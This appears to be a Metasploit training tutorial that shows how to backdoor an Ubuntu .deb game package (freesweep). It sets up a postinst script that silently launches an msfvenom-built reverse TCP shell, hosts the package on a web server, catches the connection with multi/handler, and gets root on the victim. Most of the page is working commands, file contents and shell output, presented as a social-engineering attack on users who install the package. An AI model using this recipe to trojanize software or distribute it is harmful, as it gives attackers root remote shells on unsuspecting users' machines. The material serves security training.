Binary Linux Trojan a11y.text Binary Linux Trojan In order to demonstrate that client side attacks and trojans are not exclusive to the Windows world, we will package a Metasploit payload in with an Ubuntu deb package to give us a shell on Linux. An excellent video was made by Redmeat_uk demonstrating this technique that you can view at http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx We first need to download the package that we are going to infect and move it to a temporary working directory. In our example, we will use the package freesweep , a text-based version of Mine Sweeper. root@kali : ~ # apt-get --download-only install freesweep Reading package lists... Done Building dependency tree

Reading state information... Done

...snip... root@kali : ~ # mkdir /tmp/evil root@kali : ~ # mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil root@kali : ~ # cd /tmp/evil/ root@kali:/tmp/evil# Next, we need to extract the package to a working directory and create a DEBIAN directory to hold our additional added â€œfeaturesâ€•. root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work

root@kali:/tmp/evil# mkdir work/DEBIAN In the DEBIAN directory, create a file named control that contains the following: root@kali:/tmp/evil/work/DEBIAN# cat control

Package: freesweep

Version: 0.90-1

Section: Games and Amusement

Priority: optional

Architecture: i386

Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)

Description: a text-based minesweeper

Freesweep is an implementation of the popular minesweeper game, where

one tries to find all the mines without igniting any, based on hints given

by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use. We also need to create a post-installation script that will execute our binary. In our DEBIAN directory, weâ€™ll create a file named postinst that contains the following: root@kali:/tmp/evil/work/DEBIAN# cat postinst

```
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores &
/usr/games/freesweep &
```

Now weâ€™ll create our malicious payload. Weâ€™ll be creating a reverse shell to connect back to us named â€˜freesweep_scoresâ€™. root@kali : ~ # msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST = 192.168 .1.101 LPORT = 443 -b " \x00 " -f elf -o /tmp/evil/work/usr/games/freesweep_scores Found 10 compatible encoders

```
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai chosen with final size 98
Payload size: 98 bytes
```

Saved as: /tmp/evil/work/usr/games/freesweep_scores Weâ€™ll now make our post-installation script executable and build our new package. The built file will be named work.deb so we will want to change that to freesweep.deb and copy the package to our webroot directory.

```
root@kali:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@kali:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work
dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'.
root@kali:/tmp/evil# mv work.deb freesweep.deb
root@kali:/tmp/evil# cp freesweep.deb /var/www/
```

If it is not already running, weâ€™ll need to start the Apache web server. root@kali:/tmp/evil# service apache2 start We will need to set up the Metasploit multi/handler to receive the incoming connection. root@kali : ~ # msfconsole -q -x "use

exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 192.168.1.101; set LPORT 443; run; exit -y" PAYLOAD => linux/x86/shell/reverse_tcp

LHOST => 192.168.1.101

LPORT => 443

[*] Started reverse handler on 192.168.1.101:443

[*] Starting the payload handler... On our Ubuntu victim, we have somehow convinced the user to download and install our awesome new game. ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb

ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb As the victim installs and plays our game, we have received a shell! [*] Sending stage (36 bytes)

[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129)

ifconfig

eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6

inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:49 errors:0 dropped:0 overruns:0 frame:0

TX packets:51 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)

Interrupt:17 Base address:0x1400

...snip...

hostname

ubuntu

id

uid=0(root) gid=0(root) groups=0(root) Next Client Side Exploits Prev Binary Payloads